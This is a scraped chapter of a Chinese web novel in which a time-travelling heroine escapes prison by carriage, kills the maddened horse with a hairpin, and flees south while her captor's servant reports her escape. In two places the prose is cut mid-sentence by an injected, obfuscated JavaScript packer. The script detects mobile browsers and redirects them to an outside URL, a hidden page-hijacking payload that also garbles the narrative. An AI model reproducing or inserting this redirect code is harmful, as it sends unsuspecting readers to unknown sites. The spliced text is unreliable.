顿时,马儿吃痛便如离弦的箭一般冲了出去,守在牢房门口的两位官兵自然是注意到了这一幕,哪曾想到模样如此娇|滴|滴的小女娘竟是会做出如此胆大妄为的事情,当即就傻眼了。 随后一阵冷风吹过,两人这才回过神来,一人下去通知谢令,另一人则是慌张去找马匹了,牢房都是看守犯人的,哪里会有马匹,废了好一番功夫才找到了一匹马。 那厢谢令听闻这件事情的时候,第一反应也是不可置信,随后急忙跑了出来,可惜没有马匹,也便只能在原地干等,足足等了小半刻钟,这才看见官兵牵了一匹马过来。 顾不得训斥这两个官兵不中用,竟是连一个小女娘都看不住。 翻身上马,谢令急急忙忙便追了出去,但愿一切还来得及,但愿没有酿成大祸,那叶姑娘会骑马也就罢了,可若是不会骑马,她是疯了吗,做出这般失心疯的举动,还要不要命了? * 晚霞泣血、马蹄疾疾,叶清清根本不会骑马,平日里倒也是看见过一些电视剧中骑马的镜头,也便依葫芦画瓢左手勒住缰绳、右手握着马鞭,口中高喊道:“马失控了,让开。” 一路上的行人纷纷让开,好在天牢本就设立在临近郊区的地方,两条街之后就是城门,叶清清一路驾着马狂奔,倒真是让她顺利找到了出城的路。 如今还未到关城门的时刻,见马车失控了,路上的行人都是纷纷躲让,就连守城的官兵也是不自觉躲让,城门敞开着,只要出了这道城门,她倒要看看他以后怎么找到她。 前段时间江南水患严重,流民肆虐,前段时间的劫匪中大部人都是流民,水灾来得突然,家中财物都没了,户籍自然也都没了。 她混迹其中并不显眼。 况且银子钞票她都贴身带着,等到进入了江南地界之后,倒是不愁没钱花。 想到此,叶清清唇角不由得微微勾起,残阳落金、斑斑金光落在了她的面容上,衬得她眉眼精妙无双,鬓边乱发如柳丝一般迎风而起,眼神愈发坚毅果敢。 右手举着鞭子狠狠一抽,顿时马儿奔跑的速度就更加快了,不过是呼吸间的功夫,马车就冲出了城门。 而她也如同一只鸟雀一般,总算是飞出了困住自己的牢笼。 * 等到谢令策马匆匆赶到的时候,便见城门敞开着,早就看不见马车的踪迹了,他心中暗自悔恨,这次是他的失误,是他掉以轻心了,任谁都想不到这样一位看起来娇|滴|滴的小女娘竟是会有这样的胆子。 顾不得多想,他只能立刻冲了出去,好在天色不算太暗,倒是能看见地上马车车轮碾过的痕迹,他便沿着轨迹朝前找去。 * 逆风而行,傍晚的晚风吹在面颊上是那样温柔多情,叶清清驾着马一路朝前走去,为了以防万一,她特意没有选择官道——上次就是在官道上遇见了劫匪,且官道上的检查手续更加繁琐,她如今没了户籍,自然应该避着官府走。 这样的想法原本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11443851|121514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,哪成想这小路偏僻,平日里只有行人走过,且林木茂盛,根本无法通行马车。 远远地,叶清清就意识到了这一点,只是这时候调转方向已经来不及了,她咬咬牙,尝试勒紧缰绳根本没有用,马儿此时已经彻底发狂了。 她垂眸默默看了一眼马儿,在心底叹了口气,生死关头,顾不得犹豫这么多了。 她右手直接拔下了鬓发间的银簪,用力将银簪插进了马儿的脖颈中,插下去的那一瞬间,马儿吃痛奔跑速度更快了,叶清清只能狠下心,用力将簪子往里面推。 命悬一线,眼看马车就要撞到树干上的时候,马儿终于哀鸣一声之后,痛苦地瘫软在地,马车轰然倒地、惊奇烟尘万丈,叶清清也狠狠地摔在了地上,她闷哼一声,在地上趴了很久才慢慢回过神来。 不行,她不能停下,一旦被谢虞之找到,那她所做的努力就都功亏一篑了。 想到此,她一双清澈透亮的眼眸中便绽放出了奇异的色彩,是对强权的不屈和反抗。 叶清清一瘸一拐从地上爬了起来,她鬓发松松凌乱,一瘸一拐走到了那枣红色马匹的身前,低声道了句“抱歉”,随后便蹲下来双手握着银簪的尾端,先是用力往里面一捅,而后双手拉着将簪子拔了出来。 簪子拔出来的那一刻,温热的鲜血便溅了出来,间或有一些鲜血落在了她的面容上,明明只是几滴却洋洋洒洒如同红雨一般落下,她漆黑的瞳孔在那一刻下意识收缩,呆愣愣地伸手抚上了自己的面容,果不其然看见了殷红的一点。 她愣了一愣,随即回过神来,顾不得难过太久,她立刻就从地上站起来了,将银簪扔进了怀中,忍着疼痛朝前走去,路上还不忘捡起一根树枝清扫留下的足迹。 日头渐渐落了下去,天色也一点一点变得暗沉了,几只栖息在树梢的鸟雀振动翅膀飞向了天际。 * 等到谢令追上来的时候,就只看见了地上的马车废墟,他心中一惊,担心叶姑娘也受了伤,当即便翻身下马走进查看了一番,看见地上有明显的血迹后,他呼吸一滞,还以为是叶姑娘出了什么意外,在马车废墟中找了许久都没有找到叶姑娘,他才算是松了一口气。 确认叶姑娘没有性命危险之后,谢令这才蹲下查看了一下马匹的情况,却见马儿早就咽气了。 他低低叹了口气,对叶姑娘的来历越发是看不透了,一个姑娘家身上有那样繁琐的金首饰,且来历还查不到,就仿佛是天地间凭空多了这么一个人,她到底是什么来历? 眼见天色逐渐暗沉下来,这荒林漫无边际,他一个人能力有限,怕是找到天亮也找不到叶姑娘,倒不如先回府将这件事情禀告给公子。 * 谢府静悄悄的,谢虞之正站在清苑池旁边喂鱼,明月攀上了枝头,在空旷的湖面上投落一轮照影,接个人还需要多久?都到这个时辰了,谢令还没有回来复命,他当然能猜出来是出了什么意外。 不过倒也算情理之中。 他瞧那叶清清浑身都是反骨,一双眼睛尤为桀骜不驯。 当真是恨不得让人拿着磨刀石将她身上的反骨一寸寸磨平。 脑海中甫一浮现这个念头,他的眼眸便显得愈发漆黑幽深了,仿佛是一口深井,多看一眼就会彻底沉沦、再难逃脱。 他松手将鱼食尽数扔在了湖中,一群红色锦鲤蜂拥而上,争先恐后地抢夺鱼食,粼粼湖光荡漾开来。 人为财死,鸟为食亡。 向来如此。 24. 烈骨 第24章 「晋江原创独发」 江上冷风吹,很快鱼儿就吃完了鱼食,又如同来时那般四散而去,只留下圈圈涟漪荡漾开来,一阵风吹过,挂在树梢的灯笼便开始摇曳,投落一地斑驳。 谢虞之将鱼食洒落后便提灯离开了,烛光将他的影子拉得长长的,便是背影中也多了一些清冷隽永的意味。 他漫不经心地朝前走去,隐隐也能猜到到底发生了什么事情。 * 那厢谢令骑马急急忙忙回来,翻身下马之后顾不得喘口气,就匆匆来到了公子的院子中,不出所料,公子果然正在书房等他。 推开了书房的门,谢令当即便跪在了地上,认错道:“公子,这次都是属下的错,是属下掉以轻心了,叶姑娘她驾着马车跑了,等到属下骑马追上去的时候便只见马车坍塌在地,至于叶姑娘则是不知所踪。” “属下见天色已晚,自己一个人能力有限,或许找到天亮都不一定能找到叶姑娘的踪迹,属下便先回来将此事禀告给公子,这次都是属下的错,任由公子处罚。” 谢令跪在地上,说完这句话之后便是连头都不敢抬了。 自他说完这句话之后,书房内便是静悄悄的,谢虞之站立在书案前,动作不紧不慢地抄写着佛经,佛经的清淡倒是恰好中和了他身上的肃杀之意,一直等到将《心经》抄写完之后,他才将毛笔放在了笔搁上,狭长清冷的眼眸微挑看向了谢令,意有所指开口道:“究竟是无意之失、还是故意为之,谢令你自己心中清楚。” 闻言,谢令又不是傻子,自然听出了公子言语中的洞察之意,狠了狠心,他知道这件事情是他做的太过明显了,可是那叶姑娘的身份确实有古怪。 他的脊梁压得更弯了,事到如今也就没有任何隐瞒的必要了,索性实话实话,“公子,那叶姑娘身份古怪,属下派人去查也没有查到半分线索,自从这叶姑娘出现之后,公子您的心就全然被她占据了,便是连千秋大业都忘记了。” “那叶姑娘说不定就是旁人派来的细作,故意来迷惑公子……” 话未说完,谢虞之便开口打断了他的话,“够了,谢令,主子的吩咐难不成还需要你一个做下人的多加置喙?” 明明发生了这样的事情,可是谢虞之的嗓音从头到尾都是淡淡的,根本不像是动怒的样子,只不过听见公子这般冷淡的话语时,谢令却是骤然清醒,下人就是下人,只要完成主子的吩咐就行了,难不成还要反过来对主子指手画脚? “公子,属下知错了,任由公子处置。”谢令跪在地上,重重地磕了一个头,如是道。 烛火簌簌摇曳,谢虞之收回了视线,转而拿起方才抄写的佛经仔细端详,雪白的宣纸上,遒劲有力的字迹龙飞凤舞,非但没有佛经的释然超脱之感,反而有种刀光剑影的惊心动魄之感,“杖责二十,下不为例,你先下去吧。” 听闻此话,谢令才算是送了一口气,叩谢公子之后便离开了,只是临了出书房门的时候,他停下了脚步,犹豫再三后还是开口问道:“公子,那叶姑娘呢?” “这件事情暂且不需要你插手了。” 谢令心中苦涩,知道公子到底还是动怒了,他并不怨恨公子,却有些怨恨叶清清,红颜祸水当真是不假。 他也知道自己对叶姑娘的恨意着实没有由来,可是他又不是圣人,做不到超然物外,寻常人就连自己的生死都做不了主,难不成爱恨也由不得自己了吗? 木门阖上发出一道吱嘎的声响,在安静的夜间很是明显,谢虞之的视线从宣纸上缓缓扫过,最后停在了“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。①” 或许那日跪在菩萨面前的时候,她也是这样想的,难道日后如鼠辈一般抱头乱窜就是她的解脱之法吗? 他拭目以待。 * 月色千里,西山寂寂,叶清清忍着疼痛一直朝前走去,丝毫不敢停歇,她不知道谢令有没有追上来,她不想为奴为婢伺|候旁人,更不愿意在牢狱中困守一生。 世上只有天生的畜生,哪有天生的奴婢? 所以她不敢停下,她只能一直朝前走去。 一直等到明月高悬的时候,她这才敢停下来喘口气,她右手扶住粗壮的树干,拼命地喘着气,等喘过气的时候就回首往身后看去,生怕有人追上。 林间寂寂,一直等到确认没有人追上来的时候,叶清清才敢卸力一般坐在地上,周围是如此的寂静,她只能听见风吹树叶的声响和自己砰砰直跳的心跳声,休息了许久,她才逐渐喘过气来,而后从怀中掏出了方才的那根银簪。 时间过去太久了,银簪上的血迹早就干涸了,任凭她如何努力都无法擦干上面的血迹。 她一开始还能勉强维持冷静去擦银簪上面的血迹,可后来她更是直接崩溃了,一直等到面容上浮现点点凉意的时候,她才意识到原来自己早已经泪流满面了。 委屈吗,怨恨吗? 她当然委屈,旁人穿越就是锦衣玉食,到她这里就是仓皇逃窜,她没有穿越女施展才华、平定天下的野心,她只想回家。 她一定要回家。 脑海中又浮现了这个念头,叶清清便也渐渐止住了哭泣,她不想哭的,她还要积攒力气赶路回家,可偏偏眼泪就如同断了线的竹子那般,根本止不住,擦了许久,眼泪反倒是越擦越多。 她也便放弃了,从怀中掏出了一瓶金疮药洒在伤口,疼痛倒是让她有了短暂的清醒,她不能这般自怨自艾,她一定要回家,哪怕付出再多的代价。 或许是今日实在是太累了,她就这样坐在地上、靠着树干不知不觉就睡了。 月光悄然洒落,她面上两道清泪依稀可见。 她没那么多时间用来难过,明日还要继续赶路。 * 夏日的日出总要早一些,叶清清很早就醒来了,昨日上过药之后,身上的伤口倒是好了许多,她扶着树干起身,从袖中掏出了一张地图,沿着上面的路线朝前走去,继续赶路。 走了一个时辰左右,总算是遇见了一条溪流,她走到溪流边蹲下,垂眸望向了溪水中倒映出来的容颜,用双手捧出了一捧清水洗脸,随后便拿出了怀中的银簪,用清水将上面的血渍清洗干净,用银簪重新将凌乱的发丝挽了起来。 她原本是想要依照之前出城的样子装扮,只是转念想到了那日谢虞之已经看见了她的样子,便只能作罢,只是用药粉将面色弄得发黄了一些,并且在面上点了许多雀斑,如此才算是作罢。 按照地图上的路线继续朝前走去,一直走到傍晚的时候,才总算是遇见了一个镇子,她还是不敢停留,只是在一个摊子上买了一些干粮,旁人问起来也只说是亲人病危、要去外地探亲,就连话语也是故意带了些口音。 而后又花钱买了一辆驴车,她当然也想买马,可是一来她根本不会骑马,二来这镇子偏远,也根本没有马匹,她便是想要买也根本买不到。寻常人家哪里用得上马匹,都是官府和富贵人家才养的。 至于牛车则更是痴心妄想,老黄牛可是春耕是的主力,况且黄牛价贵,寻常人家能够养起一头就算是不错了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11443852|121514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻装简行一路驾着驴车朝南走去,路上饿了就吃干粮,渴了就饮水囊中的水,水喝完了便在路上摘野果充饥,一路虽说是风餐露宿,可是单单想到“回家”两个字,她便觉得浑身疲乏一扫而空,心底也涌现了源源不断的力量。 她要回家,一定要回家。 有这般日夜不停赶路过了三日,叶清清一路上心惊胆战,生怕谢虞之派人找了过来,可惜一连几日都没有人追上来,她便也稍微松了口气。 是夜,明月高悬、月明千里,叶清清躺在驴车上,仰头望天但见明月一轮,无论时间如何流转,这一轮明月都是亘古不变的,或许此时在现代的父母也同她一样都在看着月亮,跨越前年不朽时间银河,同一轮明月映照古今。 为了回家,即便付出再多努力都是值得的,她要回家,她一定要回家。 裹紧了被子,她躺在驴车上,面上不自觉浮现一丝笑意,明日再敢一天路就能进入江南,到时候她就可以前去钟山了。 这一路上倒还算是顺利,遇见城池关卡的时候,她便声称路上遇见了劫匪,行李都被抢走了,户籍和路引自然也都没了,其实这段时间江南水患、流民肆虐,每日涌进城池中的流民不计其数,大多数都没有户籍,守城的官兵哪有时间一一核对,见叶清清哭得实在是可怜,更是心生厌烦,摆了摆手就让她进城了。 一切都是那样的顺利,顺利到不可思议。 她有时候也在想,或许是冥冥中真的有一股力量在召唤她回家。 京口瓜洲一水间,钟山只隔数重山②。 在心中默念着这两句诗,叶清清沉沉睡去,梦中她真的如愿以偿回到了家。 * 晓天一色,天色才是蒙蒙亮的时候,叶清清便已经起来了,今日的行程倒是松散了一些,她也没必要如此着急赶路,只要在天黑前进城就可以了。 但是不知道为何,她心中总是觉得莫名慌乱,总是担心有什么事情会发生。 深吸一口气,她压下了心底的慌乱,驾着驴车继续赶路。 作者有话要说: 接档文《妄折明月》文案如下,求收藏:一朝穿越,姜明月成了侯府的婢女,她战战兢兢在老夫人身边伺候了三年,好不容易就能攒够钱银赎身,哪料一朝世子回府看上了她,要她做妾。她不愿意做妾,冒着瓢泼大雨前去求见世子,可惜那玉石仙人只是看着她,扔给她一把匕首,嗓音淡淡道:“若是不愿,那便自戕。”她握着匕首颤抖了很久,泪流满面,最后只能妥协。她不想死,她还想回家。傅容深此生顺风顺水,容貌清俊、身份尊贵,洁身自好多年,回府的时候遇见了一个婢女,眉眼如画、明眸善睐,堪比天上明月。一朝心动,野火燎原。他是主子,没有委屈自己的必要,既然喜欢就纳她为妾。直到后来很久以后,他梦中都是她绝然跳下悬崖的背影,那样绝然无情,她就连回头看他一眼都不肯。她将他的真心视为草芥,她将他的爱意踩成齑粉。他过往所有的骄傲在她这里碾作尘埃。更可悲的是,他就是爱她。他绝不放手,哪怕她恨他。豁出一切,他都要将她牢牢锁在金屋中。姜明月跳了悬崖,原以为这样就能回家,可没想到一睁眼,看见的还是那张清冷如仙的面容,他用手掐着她的脖子,眼尾发红、句句泣血,“你当真是没有心。”此后日日夜夜,她才知道他就是个彻头彻尾的疯子。他不放手,绝不放手。她就算是死,也要葬入他的陵墓。①“观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。”「——出自《心经》」②京口瓜洲一水间,钟山只隔数重山。「——出自宋·王安石《泊船瓜洲》」